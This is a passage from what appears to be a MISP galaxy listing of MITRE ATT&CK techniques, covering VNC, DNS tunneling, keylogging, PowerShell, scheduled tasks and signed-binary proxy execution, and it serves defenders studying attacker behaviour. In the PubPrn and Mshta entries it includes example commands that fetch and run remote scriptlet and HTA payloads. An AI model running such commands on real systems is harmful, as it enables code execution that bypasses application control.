https://capec.mitre.org/data/definitions/555.html
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins

VNC - T1021.005

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB ("remote framebuffer") protocol to enable users to remotely control another computer's display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)

VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)

Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)

The tag is: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005"*

Table 4505. Table References

Links
http://lists.openstack.org/pipermail/openstack/2013-December/004138.html
https://attack.mitre.org/techniques/T1021/005
https://capec.mitre.org/data/definitions/555.html
https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2

https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207
https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in
https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication
https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc
https://pentestlab.blog/2012/10/30/attacking-vnc-servers/
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/
https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/
https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication

DNS - T1071.004

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004"*

Table 4506. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/004
https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling

Keylogging - T1056.001

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"*

Table 4507. Table References

Links
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
https://attack.mitre.org/techniques/T1056/001
https://capec.mitre.org/data/definitions/568.html
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

PowerShell - T1059.001

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"*

Table 4508. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
http://www.sixdub.net/?p=367
https://attack.mitre.org/techniques/T1059/001
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
https://github.com/jaredhaight/PSAttack
https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

At - T1053.002

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)

Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral

Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

The tag is: *misp-galaxy:mitre-attack-pattern="At - T1053.002"*

Table 4509. Table References

Links
https://attack.mitre.org/techniques/T1053/002
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
https://gtfobins.github.io/gtfobins/at/
https://man7.org/linux/man-pages/man1/at.1p.html
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/dd315590.aspx
https://twitter.com/leoloobeek/status/939248813465853953
https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/

Steganography - T1027.003

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"*

Table 4510. Table References

Links
https://attack.mitre.org/techniques/T1027/003
https://capec.mitre.org/data/definitions/636.html
https://en.wikipedia.org/wiki/Duqu
https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/

AppleScript - T1059.002

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)

AppleScripts do not need to call <code>osascript</code> to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](<a href="https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code&gt" class="bare">https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code&gt;, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.

Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002"*

Table 4511. Table References

Links
https://attack.mitre.org/techniques/T1059/002

https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/

DNS - T1590.002

Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="DNS - T1590.002"*

Table 4512. Table References

Links
https://attack.mitre.org/techniques/T1590/002
https://dnsdumpster.com/
https://www.circl.lu/services/passive-dns/

Cron - T1053.003

Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems. The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.

An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).

The tag is: *misp-galaxy:mitre-attack-pattern="Cron - T1053.003"*

Table 4513. Table References

Links
https://attack.mitre.org/techniques/T1053/003
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/

Launchd - T1053.004

This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.

Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchd - T1053.004"*

Table 4514. Table References

Links
https://attack.mitre.org/techniques/T1053/004
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Python - T1059.006

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

The tag is: *misp-galaxy:mitre-attack-pattern="Python - T1059.006"*

Table 4515. Table References

Links
https://attack.mitre.org/techniques/T1059/006

JavaScript - T1059.007

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple's Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple's OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple's internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

The tag is: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"*

Table 4516. Table References

Links
https://attack.mitre.org/techniques/T1059/007
https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html

https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
https://docs.microsoft.com/windows/win32/com/translating-to-jscript
https://nodejs.org/
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
https://redcanary.com/blog/clipping-silver-sparrows-wings/
https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/

Regsvr32 - T1218.010

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"*

Table 4517. Table References

Links
https://attack.mitre.org/techniques/T1218/010
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://support.microsoft.com/en-us/kb/249873
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

Confluence - T1213.001

Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

The tag is: *misp-galaxy:mitre-attack-pattern="Confluence - T1213.001"*

Table 4518. Table References

Links
https://attack.mitre.org/techniques/T1213/001
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html

PubPrn - T1216.001

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

The tag is: *misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001"*

Table 4519. Table References

Links
https://attack.mitre.org/techniques/T1216/001
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

MSBuild - T1127.001

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)

The tag is: *misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001"*

Table 4520. Table References

Links
https://attack.mitre.org/techniques/T1127/001
https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
https://msdn.microsoft.com/library/dd393574.aspx

Sharepoint - T1213.002

Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation

- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

The tag is: *misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002"*

Table 4521. Table References

Links
https://attack.mitre.org/techniques/T1213/002
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2

CMSTP - T1218.003

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003"*

Table 4522. Table References

Links
http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://attack.mitre.org/techniques/T1218/003
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
https://github.com/api0cradle/UltimateAppLockerByPassList

https://msitpros.com/?p=3960
https://twitter.com/ItsReallyNick/status/958789644165894146
https://twitter.com/NickTyrer/status/958450014111633408

InstallUtil - T1218.004

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004"*

Table 4523. Table References

Links
https://attack.mitre.org/techniques/T1218/004
https://lolbas-project.github.io/lolbas/Binaries/Installutil/
https://msdn.microsoft.com/en-us/library/50614e95.aspx

Mshta - T1218.005

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: *misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"*

Table 4524. Table References

Links
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
https://attack.mitre.org/techniques/T1218/005
https://en.wikipedia.org/wiki/HTML_Application
https://lolbas-project.github.io/lolbas/Binaries/Mshta/
https://msdn.microsoft.com/library/ms536471.aspx
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/

Hardware - T1592.001

Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware - T1592.001"*

Table 4525. Table References

Links
https://attack.mitre.org/techniques/T1592/001

https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Msiexec - T1218.007

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"*

Table 4526. Table References

Links
https://attack.mitre.org/techniques/T1218/007
https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/

Odbcconf - T1218.008

